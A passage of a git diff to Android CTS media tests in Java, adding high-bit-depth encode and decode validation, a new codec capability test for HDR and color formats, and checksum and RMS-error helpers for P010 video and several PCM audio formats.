+            int colorFormat = mFormats.get(0).getInteger(MediaFormat.KEY_COLOR_FORMAT);
+            Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, colorFormat));
+            if (mUseHBD) {
+                Assume.assumeTrue("Codec doesn't support high bit depth profile encoding",
+                        doesCodecSupportHDRProfile(mCodecName, mMime));
+            }
+        }
+        checkFormatSupport(mCodecName, mMime, true, mFormats, null, CODEC_OPTIONAL);
+        setUpSource(inputFile);
+        mOutputBuff = new OutputManager();
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
+            mSaveToMem = true;
+            for (MediaFormat inpFormat : mFormats) {
+                if (mIsAudio) {
+                    mSampleRate = inpFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+                    mChannels = inpFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+                } else {
+                    mWidth = inpFormat.getInteger(MediaFormat.KEY_WIDTH);
+                    mHeight = inpFormat.getInteger(MediaFormat.KEY_HEIGHT);
+                }
+                String log = String.format("format: %s \n codec: %s, file: %s :: ", inpFormat,
+                        mCodecName, inputFile);
+                mOutputBuff.reset();
+                mInfoList.clear();
+                configureCodec(inpFormat, false, true, true);
+                mCodec.start();
+                doWork(Integer.MAX_VALUE);
+                queueEOS();
+                waitForAllOutputs();
+                if (mUseHBD && mIsAudio) {
+                    assertEquals(AudioFormat.ENCODING_PCM_FLOAT,
+                            mCodec.getOutputFormat().getInteger(MediaFormat.KEY_PCM_ENCODING));
+                }
+                mCodec.reset();
+                assertFalse(log + "unexpected error", mAsyncHandle.hasSeenError());
+                assertTrue(log + "no input sent", 0 != mInputCount);
+                assertTrue(log + "no output received", 0 != mOutputCount);
+                if (!mIsAudio) {
+                    assertEquals(log + "input count != output count, act/exp: " + mOutputCount +
+                            " / " + mInputCount, mInputCount, mOutputCount);
+                } else {
+                    assertTrue(log + " pts is not strictly increasing",
+                            mOutputBuff.isPtsStrictlyIncreasing(mPrevOutputPts));
+                }
+                ArrayList<MediaFormat> fmts = new ArrayList<>();
+                fmts.add(mOutFormat);
+                ArrayList<String> listOfDecoders = selectCodecs(mMime, fmts, null, false);
+                assertFalse("no suitable codecs found for mediaType: " + mMime,
+                        listOfDecoders.isEmpty());
+                CodecDecoderTestBase cdtb =
+                        new CodecDecoderTestBase(listOfDecoders.get(0), mMime, null);
+                cdtb.mOutputBuff = new OutputManager();
+                cdtb.mSaveToMem = true;
+                cdtb.mCodec = MediaCodec.createByCodecName(cdtb.mCodecName);
+                cdtb.configureCodec(mOutFormat, false, true, false);
+                cdtb.mCodec.start();
+                cdtb.doWork(mOutputBuff.getBuffer(), mInfoList);
+                cdtb.queueEOS();
+                cdtb.waitForAllOutputs();
+                if (mUseHBD && mIsAudio) {
+                    assertEquals(AudioFormat.ENCODING_PCM_FLOAT,
+                            cdtb.mOutFormat.getInteger(MediaFormat.KEY_PCM_ENCODING));
+                }
+                cdtb.mCodec.stop();
+                cdtb.mCodec.release();
+                ByteBuffer out = cdtb.mOutputBuff.getBuffer();
+                if (isCodecLossless(mMime)) {
+                    if (mUseHBD && mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                        CodecDecoderTest.verify(cdtb.mOutputBuff, inputFile, 3.446394f,
+                                AudioFormat.ENCODING_PCM_FLOAT, -1L);
+                    } else {
+                        assertEquals(log + "identity test failed", out,
+                                ByteBuffer.wrap(mInputData));
+                    }
+                }
+                if (!mIsAudio) {
+                    assertEquals(log + "input frames queued != output frames of decoder, " +
+                                    "act/exp: " + mInputCount + " / " + cdtb.mOutputCount,
+                            mInputCount, cdtb.mOutputCount);
+                    assertTrue(cdtb.mOutputBuff.isOutPtsListIdenticalToInpPtsList(true));
+                } else {
+                    int tolerance = toleranceMap.get(mMime) * mSampleRate * mChannels *
+                            mBytesPerSample / 1000;
+                    assertTrue(log + "out bytes + tolerance < input bytes, act/exp: " +
+                                    out.limit() + " + " + tolerance + " > " + mInputData.length,
+                            mInputData.length <= out.limit() + tolerance);
+                    assertTrue(cdtb.mOutputBuff.isPtsStrictlyIncreasing(mPrevOutputPts));
+                }
+            }
+            mCodec.release();
+        }
+    }
+
+    @LargeTest
+    @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testEncodeAndValidate() throws IOException, InterruptedException {
+        setUpParams(Integer.MAX_VALUE);
+        String inputFile = mInputFile;
+        if (mUseHBD) {
+            if (mIsAudio) {
+                for (MediaFormat format : mFormats) {
+                    format.setInteger(MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_FLOAT);
+                }
+                mBytesPerSample = 4;
+                inputFile = INPUT_AUDIO_FILE_HBD;
+            } else {
+                for (MediaFormat format : mFormats) {
+                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                }
+                mBytesPerSample = 2;
+                inputFile = INPUT_VIDEO_FILE_HBD;
+            }
+        }
+        encodeAndValidate(inputFile);
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
new file mode 100644
index 0000000..2dfa96f
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.hardware.display.DisplayManager;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.util.Log;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.stream.IntStream;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.*;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static android.mediav2.cts.CodecTestBase.*;
+import static android.view.Display.HdrCapabilities.*;
+import static org.junit.Assert.*;
+
+@SmallTest
+@RunWith(Parameterized.class)
+public class CodecInfoTest {
+    private static final String LOG_TAG = CodecInfoTest.class.getSimpleName();
+    private static final int[] DISPLAY_HDR_TYPES;
+
+    public String mMediaType;
+    public String mCodecName;
+    public MediaCodecInfo mCodecInfo;
+
+    static {
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        DISPLAY_HDR_TYPES =
+                displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                        .getSupportedHdrTypes();
+    }
+
+    public CodecInfoTest(String mediaType, String codecName, MediaCodecInfo codecInfo) {
+        mMediaType = mediaType;
+        mCodecName = codecName;
+        mCodecInfo = codecInfo;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> argsList = new ArrayList<>();
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : codecList.getCodecInfos()) {
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) {
+                continue;
+            }
+            if (CodecTestBase.codecPrefix != null &&
+                    !codecInfo.getName().startsWith(CodecTestBase.codecPrefix)) {
+                continue;
+            }
+            String[] types = codecInfo.getSupportedTypes();
+            for (String type : types) {
+                argsList.add(new Object[]{type, codecInfo.getName(), codecInfo});
+            }
+        }
+        return argsList;
+    }
+
+    /**
+     * Tests if the devices on T or later, if decoder for a mediaType supports HDR profiles then
+     * it should be capable of displaying the same. Since HLG profiles can't be distinguished from
+     * default 10-bit profiles, those are excluded from this test.
+     */
+    @Test
+    public void testHDRDisplayCapabilities() {
+        Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+        Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
+
+        int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
+        int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
+        Assume.assumeTrue("Test is applicable for codecs with HDR10/HDR10+ profiles",
+                Hdr10Profiles != null || Hdr10PlusProfiles != null);
+
+        MediaCodecInfo.CodecCapabilities caps = mCodecInfo.getCapabilitiesForType(mMediaType);
+
+        for (CodecProfileLevel pl : caps.profileLevels) {
+            boolean isHdr10Profile = Hdr10Profiles != null &&
+                    IntStream.of(Hdr10Profiles).anyMatch(x -> x == pl.profile);
+            boolean isHdr10PlusProfile = Hdr10PlusProfiles != null &&
+                    IntStream.of(Hdr10PlusProfiles).anyMatch(x -> x == pl.profile);
+            // TODO (b/228237404) Once there is a way to query support for HDR10/HDR10+ display at
+            // native level, separate the following to independent checks for HDR10 and HDR10+
+            if (isHdr10Profile || isHdr10PlusProfile) {
+                assertTrue(mCodecInfo.getName() + " Advertises support for HDR10/HDR10+ profile " +
+                        pl.profile + " without any HDR display", DISPLAY_HDR_TYPES.length > 0);
+            }
+        }
+    }
+
+    /**
+     * Tests if the device under test has support for necessary color formats.
+     * The test only checks if the decoder/encoder is advertising the required color format. It
+     * doesn't validate its support.
+     */
+    @Test
+    public void testColorFormatSupport() {
+        Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
+        MediaCodecInfo.CodecCapabilities caps = mCodecInfo.getCapabilitiesForType(mMediaType);
+        assertFalse(mCodecInfo.getName() + " does not support COLOR_FormatYUV420Flexible",
+                IntStream.of(caps.colorFormats)
+                        .noneMatch(x -> x == COLOR_FormatYUV420Flexible));
+
+        // COLOR_FormatSurface support is an existing requirement, but we did not
+        // test for it before T.  We can not retroactively apply the higher standard to
+        // devices that are already certified, so only test on VNDK T or later devices.
+        if (VNDK_IS_AT_LEAST_T) {
+            assertFalse(mCodecInfo.getName() + " does not support COLOR_FormatSurface",
+                    IntStream.of(caps.colorFormats)
+                            .noneMatch(x -> x == COLOR_FormatSurface));
+        }
+
+        // For devices launching with Android T, if a codec supports an HDR profile and device
+        // supports HDR display, it must advertise P010 support
+        int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
+        if (VNDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
+            for (CodecProfileLevel pl : caps.profileLevels) {
+                if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
+                    assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
+                                    " but does not support COLOR_FormatYUVP010",
+                            IntStream.of(caps.colorFormats)
+                                    .noneMatch(x -> x == COLOR_FormatYUVP010));
+                }
+            }
+        }
+    }
+
+    /**
+     * Tests if a device supports encoding for a given mediaType, then it must support decoding it
+     */
+    @Test
+    public void testDecoderAvailability() {
+        Assume.assumeTrue("Test is applicable only for encoders", mCodecInfo.isEncoder());
+        Assume.assumeTrue("Test is applicable for video/audio codecs",
+                mMediaType.startsWith("video/") || mMediaType.startsWith("audio/"));
+        if (selectCodecs(mMediaType, null, null, true).size() > 0) {
+            assertTrue("Device advertises support for encoding " + mMediaType +
+                            ", but not decoding it",
+                    selectCodecs(mMediaType, null, null, false).size() > 0);
+        }
+    }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/CodecListTest.java b/tests/media/src/android/mediav2/cts/CodecListTest.java
index 07bf4ac..50b33e2 100644
--- a/tests/media/src/android/mediav2/cts/CodecListTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecListTest.java
@@ -19,8 +19,11 @@
 import android.media.MediaFormat;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -31,6 +34,13 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class CodecListTest {
+    static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
+    static String mediaTypePrefix;
+
+    static {
+        android.os.Bundle args = InstrumentationRegistry.getArguments();
+        mediaTypePrefix = args.getString(MEDIA_TYPE_PREFIX_KEY);
+    }
 
     /**
      * Tests if the device under test has support for required components as guided by CDD.
@@ -39,8 +49,8 @@
      */
     @Test
     public void testCddRequiredCodecsAvailability() {
-        final boolean needAudio = true;
-        final boolean needVideo = true;
+        final boolean needAudio = mediaTypePrefix == null || mediaTypePrefix.startsWith("audio");
+        final boolean needVideo = mediaTypePrefix == null || mediaTypePrefix.startsWith("video");
         boolean[] modes = {true, false};
         for (boolean isEncoder : modes) {
             ArrayList<String> cddRequiredMimeList =
@@ -52,8 +62,8 @@
                                         CodecTestBase.hasDecoder(mime));
             }
         }
-        if (CodecTestBase.hasCamera()) {
-            assertTrue("device doesn't support either VP8 or AVC video encoders",
+        if (MediaUtils.hasCamera()) {
+            assertTrue("device has neither VP8 or AVC encoding",
                     CodecTestBase.hasEncoder(MediaFormat.MIMETYPE_VIDEO_AVC) ||
                             CodecTestBase.hasEncoder(MediaFormat.MIMETYPE_VIDEO_VP8));
         }
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index c22b896..1a86cd5 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -21,14 +21,18 @@
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
+import android.media.AudioFormat;
 import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaCodecList;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Build;
 import android.os.PersistableBundle;
+import android.os.SystemProperties;
 import android.util.Log;
 import android.util.Pair;
 import android.view.Display;
@@ -37,7 +41,9 @@
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.After;
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Before;
 
 import java.io.File;
@@ -57,14 +63,20 @@
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.IntStream;
 import java.util.zip.CRC32;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
 
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -290,36 +302,37 @@
     }
 
     void checksum(ByteBuffer buf, int size) {
-        checksum(buf, size, 0, 0, 0);
+        checksum(buf, size, 0, 0, 0, 0);
     }
 
-    void checksum(ByteBuffer buf, int size, int width, int height, int stride) {
+    void checksum(ByteBuffer buf, int size, int width, int height, int stride, int bytesPerSample) {
         int cap = buf.capacity();
         assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
                 size > 0 && size <= cap);
         if (buf.hasArray()) {
-            if (width > 0 && height > 0 && stride > 0) {
+            if (width > 0 && height > 0 && stride > 0 && bytesPerSample > 0) {
                 int offset = buf.position() + buf.arrayOffset();
-                byte[] bb = new byte[width * height];
+                byte[] bb = new byte[width * height * bytesPerSample];
                 for (int i = 0; i < height; ++i) {
-                    System.arraycopy(buf.array(), offset, bb, i * width, width);
+                    System.arraycopy(buf.array(), offset, bb, i * width * bytesPerSample,
+                            width * bytesPerSample);
                     offset += stride;
                 }
-                mCrc32UsingBuffer.update(bb, 0, width * height);
+                mCrc32UsingBuffer.update(bb, 0, width * height * bytesPerSample);
             } else {
                 mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
             }
-        } else if (width > 0 && height > 0 && stride > 0) {
+        } else if (width > 0 && height > 0 && stride > 0 && bytesPerSample > 0) {
             // Checksum only the Y plane
             int pos = buf.position();
             int offset = pos;
-            byte[] bb = new byte[width * height];
+            byte[] bb = new byte[width * height * bytesPerSample];
             for (int i = 0; i < height; ++i) {
                 buf.position(offset);
-                buf.get(bb, i * width, width);
+                buf.get(bb, i * width * bytesPerSample, width * bytesPerSample);
                 offset += stride;
             }
-            mCrc32UsingBuffer.update(bb, 0, width * height);
+            mCrc32UsingBuffer.update(bb, 0, width * height * bytesPerSample);
             buf.position(pos);
         } else {
             int pos = buf.position();
@@ -337,7 +350,9 @@
 
     void checksum(Image image) {
         int format = image.getFormat();
-        assertEquals("unexpected image format", ImageFormat.YUV_420_888, format);
+        assertTrue("unexpected image format",
+                format == ImageFormat.YUV_420_888 || format == ImageFormat.YCBCR_P010);
+        int bytesPerSample = (ImageFormat.getBitsPerPixel(format) * 2) / (8 * 3);  // YUV420
 
         Rect cropRect = image.getCropRect();
         int imageWidth = cropRect.width();
@@ -353,6 +368,7 @@
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
+                assertEquals(bytesPerSample, pixelStride);
                 width = imageWidth;
                 height = imageHeight;
                 left = imageLeft;
@@ -363,32 +379,37 @@
                 left = imageLeft / 2;
                 top = imageTop / 2;
             }
-            int cropOffset = left + top * rowStride;
+            int cropOffset = (left * pixelStride) + top * rowStride;
             // local contiguous pixel buffer
-            byte[] bb = new byte[width * height];
+            byte[] bb = new byte[width * height * bytesPerSample];
+
             if (buf.hasArray()) {
                 byte[] b = buf.array();
                 int offs = buf.arrayOffset() + cropOffset;
-                if (pixelStride == 1) {
+                if (pixelStride == bytesPerSample) {
                     for (y = 0; y < height; ++y) {
-                        System.arraycopy(b, offs + y * rowStride, bb, y * width, width);
+                        System.arraycopy(b, offs + y * rowStride, bb, y * width * bytesPerSample,
+                                width * bytesPerSample);
                     }
                 } else {
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
                         int lineOffset = offs + y * rowStride;
                         for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                            for (int bytePos = 0; bytePos < bytesPerSample; ++bytePos) {
+                                bb[y * width * bytesPerSample + x * bytesPerSample + bytePos] =
+                                        b[lineOffset + x * pixelStride + bytePos];
+                            }
                         }
                     }
                 }
             } else { // almost always ends up here due to direct buffers
                 int base = buf.position();
                 int pos = base + cropOffset;
-                if (pixelStride == 1) {
+                if (pixelStride == bytesPerSample) {
                     for (y = 0; y < height; ++y) {
                         buf.position(pos + y * rowStride);
-                        buf.get(bb, y * width, width);
+                        buf.get(bb, y * width * bytesPerSample, width * bytesPerSample);
                     }
                 } else {
                     // local line buffer
@@ -396,16 +417,20 @@
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
                         buf.position(pos + y * rowStride);
-                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
-                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        // we're only guaranteed to have pixelStride * (width - 1) +
+                        // bytesPerSample bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + bytesPerSample);
                         for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = lb[x * pixelStride];
+                            for (int bytePos = 0; bytePos < bytesPerSample; ++bytePos) {
+                                bb[y * width * bytesPerSample + x * bytesPerSample + bytePos] =
+                                        lb[x * pixelStride + bytePos];
+                            }
                         }
                     }
                 }
                 buf.position(base);
             }
-            mCrc32UsingImage.update(bb, 0, width * height);
+            mCrc32UsingImage.update(bb, 0, width * height * bytesPerSample);
         }
     }
 
@@ -435,18 +460,70 @@
         outPtsList.clear();
     }
 
-    float getRmsError(short[] refData) {
-        long totalErrorSquared = 0;
-        assertTrue(0 == (memIndex & 1));
-        short[] shortData = new short[memIndex / 2];
-        ByteBuffer.wrap(memory, 0, memIndex).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer()
-                .get(shortData);
-        if (refData.length != shortData.length) return Float.MAX_VALUE;
-        for (int i = 0; i < shortData.length; i++) {
-            int d = shortData[i] - refData[i];
-            totalErrorSquared += d * d;
+    float getRmsError(Object refObject, int audioFormat) {
+        double totalErrorSquared = 0;
+        double avgErrorSquared;
+        int bytesPerSample = AudioFormat.getBytesPerSample(audioFormat);
+        if (refObject instanceof float[]) {
+            if (audioFormat != AudioFormat.ENCODING_PCM_FLOAT) return Float.MAX_VALUE;
+            float[] refData = (float[]) refObject;
+            if (refData.length != memIndex / bytesPerSample) return Float.MAX_VALUE;
+            float[] floatData = new float[refData.length];
+            ByteBuffer.wrap(memory, 0, memIndex).order(ByteOrder.LITTLE_ENDIAN).asFloatBuffer()
+                    .get(floatData);
+            for (int i = 0; i < refData.length; i++) {
+                float d = floatData[i] - refData[i];
+                totalErrorSquared += d * d;
+            }
+            avgErrorSquared = (totalErrorSquared / refData.length);
+        } else if (refObject instanceof int[]) {
+            int[] refData = (int[]) refObject;
+            int[] intData;
+            if (audioFormat == AudioFormat.ENCODING_PCM_24BIT_PACKED) {
+                if (refData.length != (memIndex / bytesPerSample)) return Float.MAX_VALUE;
+                intData = new int[refData.length];
+                for (int i = 0, j = 0; i < memIndex; i += 3, j++) {
+                    intData[j] =  memory[j] | (memory[j + 1] << 8) | (memory[j + 2] << 16);
+                }
+            } else if (audioFormat == AudioFormat.ENCODING_PCM_32BIT) {
+                if (refData.length != memIndex / bytesPerSample) return Float.MAX_VALUE;
+                intData = new int[refData.length];
+                ByteBuffer.wrap(memory, 0, memIndex).order(ByteOrder.LITTLE_ENDIAN).asIntBuffer()
+                        .get(intData);
+            } else {
+                return Float.MAX_VALUE;
+            }
+            for (int i = 0; i < intData.length; i++) {
+                float d = intData[i] - refData[i];
+                totalErrorSquared += d * d;
+            }
+            avgErrorSquared = (totalErrorSquared / refData.length);
+        } else if (refObject instanceof short[]) {
+            short[] refData = (short[]) refObject;
+            if (refData.length != memIndex / bytesPerSample) return Float.MAX_VALUE;
+            if (audioFormat != AudioFormat.ENCODING_PCM_16BIT) return Float.MAX_VALUE;
+            short[] shortData = new short[refData.length];
+            ByteBuffer.wrap(memory, 0, memIndex).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer()
+                    .get(shortData);
+            for (int i = 0; i < shortData.length; i++) {
+                float d = shortData[i] - refData[i];
+                totalErrorSquared += d * d;
+            }
+            avgErrorSquared = (totalErrorSquared / refData.length);
+        } else if (refObject instanceof byte[]) {
+            byte[] refData = (byte[]) refObject;
+            if (refData.length != memIndex / bytesPerSample) return Float.MAX_VALUE;
+            if (audioFormat != AudioFormat.ENCODING_PCM_8BIT) return Float.MAX_VALUE;
+            byte[] byteData = new byte[refData.length];
+            ByteBuffer.wrap(memory, 0, memIndex).get(byteData);
+            for (int i = 0; i < byteData.length; i++) {
+                float d = byteData[i] - refData[i];
+                totalErrorSquared += d * d;
+            }
+            avgErrorSquared = (totalErrorSquared / refData.length);
+        } else {
+            return Float.MAX_VALUE;
         }
-        long avgErrorSquared = (totalErrorSquared / shortData.length);
         return (float) Math.sqrt(avgErrorSquared);
     }
 
@@ -510,31 +587,119 @@
 }
 
 abstract class CodecTestBase {
+    public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
     public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    // Checking for CODENAME helps in cases when build version on the development branch isn't
+    // updated yet but CODENAME is updated.
+    public static final boolean IS_AT_LEAST_T =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) ||
+                    ApiLevelUtil.codenameEquals("Tiramisu");
+    // TODO (b/223868241) Update the following to check for Build.VERSION_CODES.TIRAMISU once
+    // TIRAMISU is set correctly
+    public static final boolean FIRST_SDK_IS_AT_LEAST_T =
+            ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
+    public static final boolean VNDK_IS_AT_LEAST_T =
+            SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
     private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
+    enum SupportClass {
+        CODEC_ALL, // All codecs must support
+        CODEC_ANY, // At least one codec must support
+        CODEC_DEFAULT, // Default codec must support
+        CODEC_OPTIONAL // Codec support is optional
+    }
+    static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
+    static final String[] HDR_DYNAMIC_INFO = new String[]{
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
 
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+    };
+    boolean mTestDynamicMetadata = false;
     static final String CODEC_PREFIX_KEY = "codec-prefix";
+    static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
     static final String MIME_SEL_KEY = "mime-sel";
     static final Map<String, String> codecSelKeyMimeMap = new HashMap<>();
     static final Map<String, String> mDefaultEncoders = new HashMap<>();
     static final Map<String, String> mDefaultDecoders = new HashMap<>();
+    static final HashMap<String, int[]> mProfileMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileSdrMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHlgMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10Map = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10PlusMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdrMap = new HashMap<>();
     static final boolean ENABLE_LOGS = false;
     static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
     static final int PER_TEST_TIMEOUT_SMALL_TEST_MS = 60000;
     static final int UNSPECIFIED = 0;
-    static final int CODEC_ALL = 0; // All codecs must support
-    static final int CODEC_ANY = 1; // At least one codec must support
-    static final int CODEC_DEFAULT = 2; // Default codec must support
-    static final int CODEC_OPTIONAL = 3; // Codec support is optional
     // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
     static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
     static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
     static final String INVALID_CODEC = "unknown.codec_";
+    static final int[] MPEG2_PROFILES = new int[]{MPEG2ProfileSimple, MPEG2ProfileMain,
+            MPEG2Profile422, MPEG2ProfileSNR, MPEG2ProfileSpatial, MPEG2ProfileHigh};
+    static final int[] MPEG4_PROFILES = new int[]{MPEG4ProfileSimple, MPEG4ProfileSimpleScalable,
+            MPEG4ProfileCore, MPEG4ProfileMain, MPEG4ProfileNbit, MPEG4ProfileScalableTexture,
+            MPEG4ProfileSimpleFace, MPEG4ProfileSimpleFBA, MPEG4ProfileBasicAnimated,
+            MPEG4ProfileHybrid, MPEG4ProfileAdvancedRealTime, MPEG4ProfileCoreScalable,
+            MPEG4ProfileAdvancedCoding, MPEG4ProfileAdvancedCore, MPEG4ProfileAdvancedScalable,
+            MPEG4ProfileAdvancedSimple};
+    static final int[] H263_PROFILES = new int[]{H263ProfileBaseline, H263ProfileH320Coding,
+            H263ProfileBackwardCompatible, H263ProfileISWV2, H263ProfileISWV3,
+            H263ProfileHighCompression, H263ProfileInternet, H263ProfileInterlace,
+            H263ProfileHighLatency};
+    static final int[] VP8_PROFILES = new int[] {VP8ProfileMain};
+    static final int[] AVC_SDR_PROFILES = new int[]{AVCProfileBaseline, AVCProfileMain,
+            AVCProfileExtended, AVCProfileHigh, AVCProfileConstrainedBaseline,
+            AVCProfileConstrainedHigh};
+    static final int[] AVC_HLG_PROFILES = new int[]{AVCProfileHigh10};
+    static final int[] AVC_HDR_PROFILES = AVC_HLG_PROFILES;
+    static final int[] AVC_PROFILES = combine(AVC_SDR_PROFILES, AVC_HDR_PROFILES);
+    static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0};
